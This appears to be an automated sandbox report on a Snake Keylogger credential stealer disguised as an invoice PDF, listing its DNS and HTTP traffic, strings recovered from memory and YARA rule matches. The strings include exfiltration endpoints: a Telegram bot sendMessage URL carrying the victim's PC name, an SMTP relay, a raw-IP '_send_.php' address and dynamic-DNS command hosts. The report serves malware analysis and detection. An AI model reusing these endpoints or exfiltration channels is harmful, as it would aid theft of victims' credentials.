Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: us2.smtp.mailhostbox.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 17 Oct 2024 07:44:46 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4175099476.0000000000433000.00000040.00000400.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4175099476.0000000000433000.00000040.00000400.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002BFA000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4192935936.0000000006080000.00000004.00000020.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4192502862.00000000061D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000A.00000002.1812624704.000000000254A000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002CC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://us2.smtp.mailhostbox.com
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4175099476.0000000000433000.00000040.00000400.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1772870272.00000000051D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com51e
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20a
Source: vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002A2E000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002CEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.mic
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002B82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002BF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.82
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.000000000294C000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.00000000028F7000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002BAF000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.82$
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002BF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.824
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.00000000039C7000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003B44000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003952000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003C1A000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003AF6000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003EDA000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003DB7000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003E05000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C13000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C61000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003BF5000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.000000000395A000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.000000000392D000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.00000000039A2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003AD1000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003BEE000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C63000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003DBD000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003EB7000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003D92000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.00000000039C7000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003B44000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003952000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003C1A000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003AF6000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003EDA000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003DB7000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003E05000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C13000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C61000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003BF5000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003AFE000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.000000000395A000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.000000000392D000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.00000000039A2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003AD1000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003BEE000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C63000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003DBD000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003EB7000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003D92000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002D25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002A5F000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002D20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49759 version: TLS 1.2

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_0B069DC8 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,		0_2_0B069DC8
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 0_2_0B069DD8 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,		0_2_0B069DD8

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 13.2.vrhZELiHpiub.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 13.2.vrhZELiHpiub.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 13.2.vrhZELiHpiub.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000D.00000002.4175064237.0000000000423000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
